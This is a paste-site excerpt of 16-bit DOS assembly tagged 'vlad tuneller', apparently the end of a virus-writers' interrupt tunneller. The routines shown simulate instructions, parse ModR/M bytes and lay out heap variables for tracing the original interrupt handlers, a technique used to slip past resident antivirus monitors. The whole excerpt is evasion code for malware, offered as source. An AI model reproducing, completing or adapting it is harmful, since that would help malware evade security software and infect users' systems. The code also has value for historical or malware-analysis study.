  823.     mov [word ptr cs:di+(_ip - sim_flags)],ax
  824. ;; restore temp_stack
  825.     mov ax,cs
  826.     mov ss,ax
  827.     mov sp,offset stack_top + 300
  828.     and [byte ptr cs:di],not 11     ; turn off any flags still on
  829.     jmp beginning           ; cycle
  830. ;===========================================================================
  831. get_ModRM:
  832.     mov [word ptr cs:temp_sp],sp
  833.     dec di
  834. ;; use a temporary instruction to get what's at the ModR/M easily
  835.     mov al,0c5h             ; lds r16,r/m16
  836.     stosb
  837.     mov al,ah
  838.     and al,11000000b            ; look at the Mod
  839. ;; if it's 2, then the r/m is a register and lds r16,r16 is invalid, so
  840. ;; use mov r16,r16 instead
  841.     cmp al,11000000b           
  842.     jne OK_to_use_lds
  843. ;; this only happens for call,jmp near
  844.     dec di              ; es:di -> lds r16,r/m16
  845.     mov al,8bh              ; mov r16,r/m16
  846.     stosb                   ; replace the lds
  847. OK_to_use_lds:
  848.     mov al,ah
  849.     and al,11000111b            ; set r16 to ax
  850.     call    parse_ModRM         ; copy correct number of bytes
  851.     call    write_ret           ; write the return and save ip
  852.     mov [word ptr cs:return_address],offset next_gmw
  853.     test    [byte ptr cs:sim_flags],1   ; ds = cs?
  854.     je  no_gmw_ds
  855.     jmp restore_proc_state      ; restore all but ds
  856. no_gmw_ds:
  857.     jmp restore_ds          ; restore everything
  858. next_gmw:
  859.     mov [word ptr cs:return_address],offset next_gmw1
  860.     jmp near simulate_buffer        ; get the address in ds:ax
  861. next_gmw1:
  862.     and [byte ptr cs:sim_flags],not 1   ; turn off the flag
  863. restore_temp_stack:             ; self-explanatory
  864.     mov bx,cs
  865.     mov ss,bx
  866.     mov sp,[cs:temp_sp]         ; all set :)
  867.     ret
  868. ;===========================================================================
  869. ; put this label anywhere you want
  870. heap:
  871. sim_flags   = offset heap
  872. firstMCB    = sim_flags + 1
  873. tunnel_ip   = firstMCB + 2
  874. simulate_buffer = tunnel_ip + 4
  875. temp_es     = simulate_buffer + 16
  876. return_address  = temp_es + 2
  877. temp_sp     = return_address + 2
  878. tunnel_ip_ofs   = temp_sp + 2
  879. int0_5_ip   = tunnel_ip_ofs + 2
  880. int0_5_sip  = int0_5_ip + 2
  881. int0_5_scs  = int0_5_sip + 2
  882. _ip     = int0_5_scs + 2
  883. _cs     = _ip + 2
  884. _ds     = _cs + 2
  885. stack_bottom    = _ds + 2
  886. _ax     = stack_bottom
  887. _bx     = _ax + 2
  888. _cx     = _bx + 2
  889. _dx     = _cx + 2
  890. _si     = _dx + 2
  891. _di     = _si + 2
  892. _bp     = _di + 2
  893. _es     = _bp + 2
  894. flags       = _es + 2
  895. stack_top   = flags + 2
  896. _ss     = stack_top
  897. _sp     = _ss + 2
  898. test_exit   = _sp + 2
  899. ends    code
  900. end start
Tags: vlad tuneller
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement